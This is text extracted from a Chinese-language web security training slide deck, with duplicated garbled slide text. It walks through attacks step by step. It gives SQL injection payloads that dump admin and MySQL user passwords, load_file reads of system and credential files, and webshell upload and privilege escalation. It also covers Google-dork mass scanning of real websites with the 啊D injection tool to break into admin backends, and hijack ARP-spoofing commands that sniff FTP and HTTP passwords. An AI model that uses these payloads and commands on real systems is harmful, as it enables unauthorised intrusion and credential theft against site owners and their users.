web安全专项技术培训.ppt
web安全安全liplip内部内部webweb安全综合培训安全综合培训2021/9/261议程议程漏洞利用手工注入工具使用答疑讨论2021/9/262漏洞利用漏洞利用-商达讯网店系统注入漏商达讯网店系统注入漏洞洞漏洞描述利用演示安全防护2021/9/26漏洞利用漏洞利用漏洞利用漏洞利用-商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞(1)(1)(1)(1)商达讯网店系统提供免费网上商城的搭建,其代码从创立商达讯网店系统提供免费网上商城的搭建,其代码从创立初期,存在多处注入,作为我们研究初期,存在多处注入,作为我们研究webweb安全的入门,我们以这安全的入门,我们以这款免费的商城代码进行注入分析。款免费的商城代码进行注入分析。u查询订单页面中,对输入的查询函数缺乏过滤查询订单页面中,对输入的查询函数缺乏过滤 导致注入导致注入 2021/9/26漏洞利用漏洞利用漏洞利用漏洞利用-商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞(2)(2)(2)(2)注入,即将我们的数据放进数据库执行,非法注入,将导致注入,即将我们的数据放进数据库执行,非法注入,将导致hackerhacker操作数据库完成他想要做的任何事情。操作数据库完成他想要做的任何事情。针对订单页面查询,输入针对订单页面查询,输入unionselect1,admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,userpassword,24fromadminwhere=2021/9/26漏洞利用漏洞利用漏洞利用漏洞利用-商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞商达讯网店系统注入漏洞(3)(3)(3)(3)注入的防护,即将传递给数据库的所有数据进行验证输入。注入的防护,即将传递给数据库的所有数据进行验证输入。分析代码,将分析代码,将goodsgoods赋值前进行验证过滤,如设置赋值前进行验证过滤,如设置goods=sqlcheckgoods=sqlcheck(request.form(“searchkey”)request.form(“searchkey”))2021/9/26漏洞利用漏洞利用-文件包含漏洞文件包含漏洞漏洞描述利用演示安全防护2021/9/26漏洞利用漏洞利用漏洞利用漏洞利用-文件包含漏洞文件包含漏洞文件包含漏洞文件包含漏洞(1)(1)(1)(1)文件包含漏洞指的是可以通过URL定义和改写PHP变量,从而演变成操控网页脚本,加载其它文件的控制流程,其核心思路必须使用register_globals=on2021/9/26漏洞利用漏洞利用漏洞利用漏洞利用-文件包含漏洞文件包含漏洞文件包含漏洞文件包含漏洞(2)(2)(2)(2)漏洞代码:allow_url_fopen=Onallow_url_include=On漏洞利用:2021/9/26手工注入手工注入-Access-Access目标注入点查找猜测数据库表、字段、数据内容寻找后台上传Webshell2021/9/26利用演示目标注入点查通过我们 and 1=1 和and 1=2 我们判断页面是典型数字类型注入点此处省略1W字2021/9/26利用演示上传Webshell这里我们用到方法是上传小马,然后通过数据库备份功能修改上传小马后缀名称 之后上次大马。通过大马来提权。详细方法如图2021/9/26利用演示上传Webshell上传小马 Jep.jpg2021/9/26手工注入手工注入-mysql-mysql(0 0)注入原理分析:注入原理分析:1)查询注入点,基本测试2)确认后,查order by 数字-正常则表示字段大于等于此数字3)查询出能爆信息的字段 and 1=2 union select 1,2,3,4,5,6/*or-(假设字段长度为6)判断注入点权限:and(select count(*)from mysql.user)0/*4)查询各种数据信息,假设爆出字段5显示信息,则将5换成需要显示的信息5=version()/user()5)主要根据mysql最新的 information_schema库的表中,从中查询信息,如 and 1=2 union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata,查询各数据库名称6)查询你想查询库中的所有表名,如已经查询到包含phpbb数据库,想看其中的表,则将phpbb换成16进制进行查询,如and 1=2 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=0 x70687062627)如果表名太多,可通过substring(string,subnumber,number)分离表名,即 substring(group_concat(table_name),1,50)8)查询出你感兴趣的表名后,可继续查列名and1=2/*/union/*/select/*/1,2,3,group_concat(COLUMN_NAME),5,6/*/from/*/information_schema.COLUMNS/*/where/*/TABLE_NAME=0 x62685F61646D696E9)库,表,列名皆知,则可查询具体信息:and 1=2/*/union/*/select/*/1,2,3,group_concat(Host,User,Password),5,6/*/from/*/mysql.user 2021/9/2614手工注入手工注入-mysql-mysql(1-11-1)本地过程演示注入原理分析:本地过程演示注入原理分析:本地搭建测试环境 以某书籍上表明的问题测试文件为例,其给出一个user参数,未进行任何过滤,问题代码如下:一步步测试,首先查看当前表有多少个字段,当order by 38时出现无此列,order by 37正常,则肯定字段数为37.2021/9/2615手工注入手工注入-mysql-mysql(1-21-2)本地过程演示注入原理分析:本地过程演示注入原理分析:现在可以屏蔽正确的查询信息,以此回显我们的查询。先查询基本信息,如下所示:2021/9/2616手工注入手工注入-mysql-mysql(1-31-3)本地过程演示注入原理分析:本地过程演示注入原理分析:可以看出查询正常,支持union查询并在多处支持回显,现在我们查询当前网站服务器上有多少个数据库,各是什么,必要时,以substring()读取 2021/9/2617手工注入手工注入-mysql-mysql(1-41-4)本地过程演示注入原理分析:本地过程演示注入原理分析:本例查询joomla数据库,直接查询数据库会被编码为不识别,使用16进制加密joomla,查询此数据库的表情况:此库中表比较多,那么需要以substring()来分步读取 2021/9/2618手工注入手工注入-mysql-mysql(1-51-5)本地过程演示注入原理分析:本地过程演示注入原理分析:有理由相信jos_users表中存放着关键信息,查询此表的字段信息:2021/9/2619手工注入手工注入-mysql-mysql(1-61-6)本地过程演示注入原理分析:本地过程演示注入原理分析:很明显,管理员的账户密码,能够获取了:2021/9/2620手工注入手工注入-mysql-mysql(1-71-7)本地过程演示注入原理分析:本地过程演示注入原理分析:接下来该做什么了?将密文解密,登录后台,执行操作,获取shell,提权,获取服务器权限。还有没有更好的途径?2021/9/2621Mysql-Mysql-拓展(拓展(1-11-1)数据数据库结库结构分析:构分析:Mysql库:Information_schema库:2021/9/2622Mysql-Mysql-拓展(拓展(2-12-1)Load_file 函数1)语法:需要file权限 select load_file(/etc/password)-select%201,2,3,4,5,load_file(0 x2F6574632F68747470642F636F6E662F68747470642E636F6E66),7-必要时 以/*/代替空格2)各常用配置文件:MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:/usr/local/app/php5/lib/php.ini/PHP相关设置/etc/httpd/conf/httpd.conf/apache配置文件/etc/f/mysql的配置文件c:mysqldatamysqluser.MYD/存储了mysql.user表中的数据库连接密码c:Program FilesRhinoSServ-UServUDaemon.ini/存储了虚拟主机网站路径和密码等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,c:Program Files Serv-UServUAdmin.exe/6.0版本以前的serv-u管理员密码存储于此C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere*.cif文件/存储了pcAnywhere的登陆密码2021/9/2623Mysql-Mysql-拓展(拓展(2-22-2)Into outfile 函数1)magic_quotes_gpc必须为off,否则outfile的“”会被转义,而此函数的符号不能被其它加密替代2)获得物理路径(into outfile 物理路径)这样才能写对目录3)能够使用union(也就是说需要MYSQL3以上的版本)4)就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)5)对web目录有写权限 MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.-可备份到上传目录 (select count(*)from MySQL.user)0-(写权限判断 linux下写入到上传目录)示例:2021/9/2624Mysql-Mysql-拓展(拓展(3-13-1)数据库密码的本地恢复:Web应用文件读取:多在conn.php,config.php等文件中存储着数据库的明文连接密码Windows下密码恢复:打开命令行窗口,停止mysql服务:Net stop mysql启动mysql,一般到mysql的安装路径,找到 mysqld-nt.exe执行:mysqld-nt-skip-grant-tables另外打开一个命令行窗口,进入相应目录下,执行mysqluse mysqlupdate user set password=PASSWORD(new_pass)where user=root;flush privileges;exit用Ctrl+Alt+Del,找到mysqld-nt的进程杀掉它,在重新启动mysql-nt服务,就可以用新密码登录了2021/9/2625Mysql-Mysql-拓展(拓展(3-23-2)2021/9/2626Mysql-Mysql-拓展(拓展(3-33-3)Linux下密码恢复:mysql一般位于/var/lib/mysql/mysql 存储用户的文件数据 于 user.MYD 一 覆盖文件(覆盖前 此文件最好备份一份 以防意外)然后 再修改任意密码 慎用!mysqluse mysqlmysqlupdate user set Password=PASSWORD(xxxxxx)where User=root 二 无认证登录首先,关闭服务 /etc/init.d/mysql stop然后安全模式登录:/usr/bin/safe_mysqld -skip-grant-tables 现在可以改密码了:/var/lib/mysql/mysql use mysqlupdate user set password=PASSWORD(new_pass)where user=root;flush privileges;再杀掉此时的进程,killall-TERM mysqld 重启服务,新密码登录2021/9/2627Mysql-Mysql-拓展(拓展(3-43-4)2021/9/2628新手注入工具新手注入工具-啊啊D D1.准备扫描数据准备扫描数据在谷歌和百度里面高级搜索,打开百度或者谷歌,“(我以百度为例来进行这个步骤)选择“高级”在“包含以下全部的关键词”中输入“inurl:asp=XXXX”(XXXX可以是任意的数字)在”选择搜索结果显示的条数“中选择”每页显示100条“然后点击“百度一下”,在弹出的窗口中复制出完整的URL地址。2021/9/262.扫描注入点扫描注入点打开啊D注入工具,选择”注入检测“的”扫描注入点“子项。在检测网址中粘贴刚复制出来的URL地址,单击“打开网页”或者直接回车。此时啊D注入工具会扫该链接下的所有可用注入点。2021/9/26注入点会在界面的下方的“可用注入点”列表框中以红色字体显示。(刚打开时有可能没有可用注入点,因为此时此工具正在扫描注入点,随着扫描的时间推移就会有更多的注入点。如果当扫描结束了没有注入点的话就要更换“inurl:asp=XXXX”的数字了,再重复上面的步骤直到出现可用的注入点才能进行下面的步骤。)2021/9/263.注入点检测注入点检测双击一条扫描出来的URL地址,界面自动跳转到“SQL注入检测”,单击“检测”按钮。(如果提示“这个链接不能SQL注入!请选择别的链接”,则重新换一条链接再执行本步骤。直到不出现提示,左下角提示“检测完成”。)可以得出数据库类型。2021/9/264.“检测表段检测表段”和和“检测字段检测字段”此时会扫描数据库中可注入的数据表。当检测完成之后没有可用的表时重新执行步骤3,直到有可用的数据表。这里我们选择“admin”这个表段进行字段检测。勾选要检测的字段进行内容检测。2021/9/265.MD5解密解密将检测得到的password字段中的内容复制到MD5在线解密网站上解密。2021/9/266.管理入口检测管理入口检测单击“检测管理入口”,检测到的登陆入口会在“可用链接和目录位置”的列表框中显示。然后选择一个匹配的链接输入检测到的内容即可进入网站的管理后台。注:一条数据只能和该条数据关联的页面匹配,如果在一个界面登陆不成功则考虑换一个链接从新来过。2021/9/26登录后台登录后台2021/9/26劫持工具劫持工具-hijack-hijackHijack是一个具有ARP欺骗功能的小工具,可以进行远程渗透入侵。hijack解压后,里面有3个文件:“hijack.exe”、“winpcap.exe”和“old.exe”。其中“hijack.exe”和“winpcap.exe”是必需的。前者是程序主文件,后者是嗅探所需Winpcap数据包的自解压版本。将文件上传到远程主机上,这里以C盘根目录为例。2021/9/26在使用hijack.exe工具进行渗透入侵前,必须安装winpcap组件2021/9/26入侵控制的主机,可能是单独的一台主机,也可能位于某个网络中;主机上可能只安装了一块网卡,也可能安装了多块网块-全面地了解远程主机上的网络信息是进一步渗透入侵攻击前所必需的。在远程控制木马的命令控制窗口中,执行命令:hijack-L可以看到远程主机上网卡的设备名、IP地址、MAC物理地址和子网掩码等各种网络信息,如图所示。其中,比较重要的是idx列显示的信息,也就是网卡索引号。如果是单网卡,那么网卡索引号为1。2021/9/26扫描远程主机子网中所有的主机IP地址,命令格式为:hijackexe-d网卡索引号-s可以从远程主机所在的子网中扫描并显示所有主机的IP地址,以及其网卡的MAC物理地址。这里可以看到,在子网中有5台主机。2021/9/26嗅探所有“172.16.2.*网段的主机与服务器172.16.2.102之间的网络信息数据,并从中捕获密码,保存在pass.log文件中。hijack-d1-Opass.log172.16.0.*172.16.0.102以上命令,只是进行单向嗅探,也可以添加参数-f进行双向嗅探,命令格式如下:hijack-d1-f-Opass.log122.16.2.*172.16.2.1022021/9/26也可以设置嗅探指定协议的密码,如嗅探FTP密码,可执行命令:hijack-d1-r-f-Opass.log192.168.1.*192.168.1.10USER|PASStcpanddstport21要嗅探常见的HTTP密码,可执行命令:hijack-d1-r-f-Opass.log192.168.1.*192.168.1.10username=|password=tcpanddstport802021/9/26假设在子网内某台计算机公网的IP地址为“172.16.2.102,该主机设置了IP地址限制,只允许IP地址“172.16.2.105访问,而攻击者本机的IP地址是“172.16.2.109,如果想入侵这台连接受制限的主机,可以执行命令hijackd1-z172.16.2.102172.16.2.1172.16.2.109172.16.2.1052021/9/26渗透工具包渗透工具包-Metasploit Framework-Metasploit Framework 尽管不能算是完全的开源共享,还是应该要向rapid7致敬。Metasploit framework将已知的的漏洞进行汇总,允许测试人员进行漏洞测试利用,并允许测试人员选择合适的利用方式,同时提供一个平台,供大家开发自己的漏洞测试程序。2021/9/2644Metasploit Framework-核心命令核心命令2021/9/26Metasploit Framework-search2021/9/26Metasploit Framework-info2021/9/26Metasploit Framework-use2021/9/26Metasploit Framework-set2021/9/26Any Questions?Any Questions?2021/9/2650